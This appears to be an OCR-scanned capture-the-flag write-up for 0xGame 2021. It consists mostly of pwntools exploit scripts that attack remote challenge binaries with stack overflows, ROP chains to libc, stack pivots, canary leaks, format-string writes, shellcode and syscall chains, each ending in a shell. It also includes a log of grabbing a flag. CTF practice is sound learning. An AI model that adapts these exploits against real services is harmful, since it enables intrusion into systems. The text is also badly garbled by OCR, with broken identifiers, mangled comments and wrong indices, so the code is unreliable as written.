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B ZEncZESEHLE v getshell

S nc 121.4.15.155 10000

Welcome to 0xGame 2021!
cat flag

OxGame{cbef6b32-15b3-4f57-8396-434c92259742}
N c
S

ret2text
RG], Mo H 7 55 0R [l hE 21 J5 7] 2R 2D A] getshell

# -*- coding:utf-8 -*-

from pwn import
#io=process("./pwnol")
io=remote("121.4.15.155",10003)
elf=ELF("./pwnol")

backdoor=0x401157

io.recvuntil("what is ret2text?\n")
payload="a"*(0x50+8)+p64(backdoor)
io.send(payload)

io.interactive()
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# -*- coding:utf-8 -*-

from pwn import

#context.log Level="debug"
#1io=process("./pwnol")
io=remote("121.4.15.155",10009)
elf=ELF("./pwnol")
libc=ELF("./libc-2.23.s0")

puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
pop_rdi=0x401323
ret=0x40101a
main=0x4011D6

leave_ret=0x4012B0

io.recvuntil("Tell me something\n")
"a"*(0x30-8)+"b"*8

io.recvuntil("b"*8)
stack_addr=u64(io.recvuntil("\x7f")[-6:].1just(8,"\x00"))-0x120
print("stack_addr=="+hex(stack_addr))

io.recvuntil("Tell me something\n")
payload="a"*(0x40-8-8)+"b"*8
io.sendline(payload)
io.recvuntil("b"*8)
canary=u64(io.recv(8))-0x0a
print("canary=="+hex(canary))

io.recvuntil("Tell me something\n")

payload="exit"+"\x00"*4
payload+=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
payload=payload.ljust((0x40-8),"a")
payload+=p64(canary)+p64(stack_addr)+p64(leave_ret)
io.send(payload)

puts_addr=u64(io.recvuntil ("\x7f")[-6:].1just(8,"\x00"))
print("puts_addr=="+hex(puts_addr))

libc_base=puts_addr-0x06f6a0
0ggs=[0x45226,0x4527a,0xf03a4,0xf1247]
ogg=1ibc_base+oggs[9]

io.recvuntil("Tell me something\n")
payload="exit".1ljust((0x40-8),"\x00")
payload+=p64(canary)+"b"*8+p64(ogg)
io.send(payload)

io.interactive()
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# -*- coding:utf-8 -*-

from pwn import

context.log level="debug"
#1io=process("./pwnol")
io=remote("121.4.15.155",10010)
elf=ELF("./pwnol")
libc=ELF("./libc-2.23.s0")

io.recvuntil("isn't it?\n")

payload="%13%$p.%15%p."

io.sendline(payload)

io.recvuntil("ex")

canary=int(io.recvuntil(".")[:-1],16)

print("canary=="+hex(canary))

io.recvuntil("ex")

libc_base=int(io.recvuntil(".")[:-1],16)-240-1ibc.sym[" libc_start_main"]
print("libc_base=="+hex(libc_base))

0ggs=[0x45226,0x4527a,0xf03a4,0xf1247]
ogg=1ibc_base+oggs[0]

io.recvuntil("just like before\n")
payload="a"*56+p64(canary)+"b"*8+p64(ogg)

io.send(payload)

io.interactive()
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# -*- coding:utf-8 -*-

from pwn import

context.log level="debug"
#1io=process("./pwnol")
io=remote("121.4.15.155",10008)
elf=ELF("./pwnol")
libc=ELF("./libc-2.23.s0")

pop_rdi=0x4012a3
ret=0x40101a
puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
vuln=0x401167
leave_ret=0x401192

io.recvuntil("maybe...\n")
payload=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln)
io.send(payload)

io.recvuntil("Your input has been stored in @x")
buf_addr=int(io.recvuntil("\n")[:-1],16)

io.recvuntil("Tell me someting more\n")
payload="a"*80+p64(buf_addr-8)+p64(leave_ret)
io.send(payload)

puts_addr=u64(io.recvuntil ("\x7f")[-6:].1just(8,"\x00"))
print("puts_addr=="+hex(puts_addr))
libc_base=puts_addr-libc.sym["puts"]
0ggs=[0x45226,0x4527a,0xf03a4,0xf1247 ]
ogg=1ibc_base+oggs[1]

io.recvuntil("Tell me someting more\n")
payload="a"*(80+8)+p64(ogg)
io.send(payload)

io.interactive()

ret2shellcode

# -*- coding:utf-8 -*-
from pwn import
context.arch="amd64"

#io=process("./pwnol")
io=remote("121.4.15.155",10002)
elf=ELF("./pwnol")

io.recvuntil("What's that?\n")
payload="a"*0x20+asm(shellcraft.sh())
io.send(payload)

io.interactive()




system#1"/bin/sh" EL Sz EH O 4, HRIE64 M elf S Ktk 7 Ak itpayload, 7 5iR[mHhE, 47 system("/bin/sh")

# -*- coding:utf-8 -*-

from pwn import

context.log level="debug"
#1io=process("./pwnol")
io=remote("121.4.15.155",10001)
elf=ELF("./pwnol")

system=elf.plt["system"]
binsh=0x404040
pop_rdi=0x401223
ret=0x40101a

io.recvuntil("my backdoor?\n")
"a"*(0x50+8)+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)
io.send(payload)

io.interactive()
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# -*- coding:utf-8 -*-

from pwn import

context.log level="debug"
#io=process("./pwnol")
io=remote("121.4.15.155",10004)
elf=ELF("./pwnol")

puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
main=0x401147
pop_rdi=0x401223
ret=0x40101a

io.recvuntil("but more funny\n")
payload="a"*(0x50+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.send(payload)

puts_addr=u64(io.recvuntil ("\x7f")[-6:].1just(8,"\x00"))
print("puts_addr=="+hex(puts_addr))

libc_base=puts_addr-0x06f6a0
0ggs=[0x45226,0x4527a,0xf03a4,0xf1247 ]
ogg=1ibc_base+oggs[9]
io.recvuntil("but more funny\n")
payload="a"*(0x50+8)+p64(0ogg)

io.send(payload)

io.interactive()
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# -*- coding:utf-8 -*-




context.log level="debug"
#1io=process("./pwnol")
io=remote("121.4.15.155",10005)
elf=ELF("./pwnol")
1ibc=ELF("./1libc-2.23.s0")

buf=0x4040A0

puts plt=elf.plt["puts"]
puts_got=elf.got["puts"]
read_plt=elf.plt["read"]
pop_rdi=0x401293
pop_rsi_ri15=0x401291
pop_rsp_rl3 rl4 r15=0x40128d
ret=0x40101a

main=0x4011AF

#gdb.attach(io, "b * 0x401198")
Hpause ()

io.recvuntil("then tell me something\n")
X H i firead A iZ B T N2 rdifilrst, rdx/s—EUTiZE
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) ", 5 Zbuf+0x500 Ll HT WA = #1524
payload="fake_ ebp"+p64(pop_rdi)+p64(0)+p64(pop_rsi_ril5)+p64(buf+0x500)+p64(0)+p64(read_plt)+p64(pop_rsp_ri3 ris
r15)+p64 (buf+0x500)# 47 /mpop rsp2 e TR AHLE, HiFret AT E, frbl 2F] Tread /7 H)#%
io.send(payload)

io.recvuntil("Tell something more\n")

payload="a"*0x50+p64(buf) #ixX 7} j
#

io.send(payload)

# i firead j5, 5 FIbuf+0x500 14 FIXHE, LIHE A3 pop, HrEd FTE3 1N
payload=p64(0)*3+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.send(payload)

puts_addr=u64(io.recvuntil ("\x7f")[-6:].1just(8,"\x00"))
print("puts_addr=="+hex(puts_addr))
libc_base=puts_addr-libc.sym[“puts"]
print("libc_base=="+hex(libc_base))
system=1ibc_base+libc.sym["system" ]
binsh=1ibc_base+libc.search("/bin/sh\x00").next()

i o KT FE, getshell

io.recvuntil("then tell me something\n")

#pay Load="fake_ebp"+p64(pop_rdi)+p64(binsh)+p64(system)+p64(main)
0ggs=[0x45226,0x4527a,0xf03a4,0xf1247 ]

ogg=1ibc_base+oggs[1]

payload="fake ebp"+p64(ogg)

io.send(payload)

io.recvuntil("Tell something more\n")
payload="a"*0x50+p64(buf)
io.send(payload)

Hpause ()

io.interactive()
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# -*- coding:utf-8 -*-

from pwn import

context.log level="debug"

#1io=process("./pwnol")
io=remote("121.4.15.155",10006)
elf=ELF("./pwnol")

love_addr=0x404058

io.recvuntil("love to Ni1k@la?\n")
payload="%1314c%8%hnaaaaa"+p64(love_addr)
io.send(payload)

io.interactive()
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# -*- coding:utf-8 -*-

from pwn import

context.log level="debug"
#1io=process("./pwnol")
io=remote("121.4.15.155",10007)
elf=ELF("./pwnol")
exit_got=elf.got["exit"]

backdoor=0x4011A7
io.recvuntil("Tell me something:\n")
payload="%"+str(backdoor%oxffff-0x40)+"c%8%hnaaaaa"+p64(exit_got)

io.send(payload)

io.recvuntil("Tell me something:\n")
io.send("exit")

io.interactive()


https://www.cnblogs.com/winmt/articles/15487633.html

# -*- coding:utf-8 -*-

from pwn import
#1io=process("./pwnol")
io=remote("121.4.15.155",10011)
elf=ELF("./pwnol")

#gdb.attach(io, "b * 0x401121")
#pause ()

pop_rdi=0x4011a3
pop_rsi ri15=0x4011al
syscall=0x40111E
mov_eax_0=0x401135

gadget_1=0x40119A
gadget_2-0x401180

bss=0x404028

def com_gadget(rbx,rbp,ri2,ri3,ri4,ri5):
payload=p64(gadget_1)
payload+=p64(rbx) p64(rbp) p64(ri2) p64(ri3) p64(ri4) p64(ri15)
payload+=p64(gadget 2)

payload a"*56
return payload

payload="fake_rbp"+p64(pop_rsi_ri5)+p64(bss)+"rl5 rl5 "+p64(mov_eax_0)+"fake_rbp"+p64(syscall)+"fake_rbp"
412, r13, r1d =124, ri5 k2 0 R A

payload+=com_gadget(0,1,bss,0,0,bss+8)

#bss=="/bin/sh\x00"

#bss+8==p64(syscall)

payload="/bin/sh\x00"+p64(syscall)
payload=payload.ljust(59,"a") #read/s, rax*59, execveH] =% i+
io.send(payload)

H#pause ()

io.interactive()
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# -*- coding:utf-8 -*-

from pwn import

context.log level="debug"
#1io=process("./pwnol")
io=remote("121.4.15.155",10012)
elf=ELF("./pwnol")

#offset=0x1249

#10 base = 1o.libs()[10.cwd + 1o.argv[@].strip('."')]
#gdb.attach(io, "b * "+str(io_base+offset))

Hpause ()

io.recvuntil("love to Ni1k@la?\n")
payload="%11$p.%13%$p.".1just(0x40,"a") #HIGIHbFIFE/7HA)
io.send(payload)

io.recvuntil("ex")
stack_addr=int(io.recvuntil(".")[:-1],16) ##E/Mih/
print("stack_addr=="+hex(stack_addr))

io.recvuntil("ex")
proc_base=int(io.recvuntil(".")[:-1],16)-0x11CO #7£/771]
print("proc_base=="+hex(proc_base))
love_addr=0x4010+proc_base
print("love_addr=="+hex(love_addr))
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io.recvuntil("love to N1ke@la?\n")
addril=stack_addr-0xCe
addrl=addrl&exf{ff
print("addrl=="+hex(addrl))
payload="%"+str(addrl)+"c%11$hn"
payload=payload.ljust(0x40,"a")
io.send(payload) #ULASHIHER A11->37-513

io.recvuntil("love to N1k@la?\n")
addr2=1ove_addr&exffff
print("addr2=="+hex(addr2))
payload="%"+str(addr2)+"c%37%$hn"
payload=payload.ljust(0x40,"a")
io.send(payload)

io.recvuntil("love to Ni1k@la?\n")
payload="%"+str(1314)+"c%13%$hn"
payload=payload.ljust(0x40,"a")
io.send(payload)

4 12 )7 1 1B i A Rl ]
.recvuntil("love to N1kela?\n")

.send("a"*0x40)

.recvuntil("love to N1kela?\n")
.send("a"*0x40)

Hpause ()

io.interactive()
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